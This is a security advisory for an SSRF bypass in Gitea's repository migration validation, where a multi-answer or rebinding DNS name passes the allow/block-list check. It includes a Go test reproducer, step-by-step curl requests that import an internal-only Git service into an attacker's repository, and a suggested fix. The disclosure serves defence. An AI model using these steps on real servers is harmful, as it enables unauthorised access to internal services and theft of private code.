### Summary
Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if **any** resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later `git clone` operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.
An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.
### Details
The issue is in `services/migrations/migrate.go`, in the migration allow/block-list check.
Current logic computes whether any resolved IP is allowed:
```go
var ipAllowed bool
var ipBlocked bool
for _, addr := range addrList {
ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}
```
Then, when an allow-list is active, the host is accepted if the hostname matches or `ipAllowed` is true:
```go
if !allowList.IsEmpty() {
if !allowList.MatchHostName(hostName) && !ipAllowed {
return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}
}
}
```
This means a hostname resolving to both:
- an allowed public IP, e.g. `1.2.3.4`
- a blocked internal IP, e.g. `127.0.0.1`
passes validation because the public IP sets `ipAllowed = true`.
The actual repository import is later performed by `git clone --mirror` via `MigrateRepositoryGitData` / `gitrepo.CloneExternalRepo`. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.
The direct internal URL is correctly blocked, but the multi-answer hostname is accepted.
### PoC
I verified the vulnerable predicate locally against Gitea checkout:
```text
e8654c7e062431a521636703f47339cde64644fd
```
using Dockerized Go tests with `golang:1.26.4`.
The local test proves:
- `checkByAllowBlockList("loopback.example.test", [127.0.0.1])` is rejected.
- `checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1])` is accepted.
Minimal reproducer at the validation layer:
```go
func TestMigrationMultiAnswerAnyAllowed(t *testing.T) {
old := setting.Migrations
t.Cleanup(func() { setting.Migrations = old })
setting.Migrations.AllowedDomains = ""
setting.Migrations.BlockedDomains = ""
setting.Migrations.AllowLocalNetworks = false
require.NoError(t, Init())
err := checkByAllowBlockList("mixed.example.test", []net.IP{
net.ParseIP("1.2.3.4"),
net.ParseIP("127.0.0.1"),
})
require.NoError(t, err, "mixed public+loopback answers should currently pass")
err = checkByAllowBlockList("loopback.example.test", []net.IP{
net.ParseIP("127.0.0.1"),
})
require.Error(t, err, "loopback-only answer should be rejected")
}
```
To reproduce end-to-end:
1. Run Gitea with repository migration enabled and `ALLOW_LOCALNETWORKS = false`.
2. Create a normal non-admin user that can create repositories.
3. Run an internal Git HTTP service reachable only from the Gitea server, for example on `127.0.0.1:18082`.
4. Configure an attacker-controlled hostname so that DNS can return both a public address and `127.0.0.1`, or can return a public address during Gitea's pre-flight validation and `127.0.0.1` during the later git clone.
5. Confirm the direct internal migration is rejected:
```bash
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://127.0.0.1:18082/repo.git",
"repo_name": "direct-internal",
"service": "git",
"private": true
}'
```
Expected direct result:
```json
{"message":"You can not import from disallowed hosts."}
```
6. Start a migration from the attacker-controlled multi-answer hostname:
```bash
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://mixed.example.test:18082/repo.git",
"repo_name": "multidns-ssrf",
"service": "git",
"private": true
}'
```
Expected vulnerable result:
- The migration request is accepted.
- The git subprocess can connect to the internal address.
- Internal repository contents are imported into the attacker's new Gitea repository.
### Impact
This is a server-side request forgery in repository migration.
An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.
Potentially impacted resources include:
- internal Git repositories
- localhost-only services
- private network source-control services
- metadata or internal infrastructure endpoints if reachable and compatible with the request path
The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.
### Suggested fix
The migration allow/block-list check should fail closed for multi-answer DNS:
- reject if **any** resolved IP is blocked
- require **all** resolved IPs to be allowed when an allow-list is active
- treat an empty resolution result as not IP-allowed
- ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and `git clone`
For example, instead of `ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)`, initialize `ipAllowed` to `len(addrList) > 0` and combine with logical AND:
```go
ipAllowed := len(addrList) > 0
ipBlocked := false
for _, addr := range addrList {
ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}
```
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 13, 2026, 4:44:55 PM
dateUpdated: Aug 14, 2026, 7:55:16 PM
1 related source bulletins · separate from aliases
WID-SEC-W-2026-2304: Gitea: Mehrere Schwachstellen
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-200 · CWE-918
Original publisher date fields
published: 2026-08-13T17:17:28.227
lastModified: 2026-08-26T16:53:48.300
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.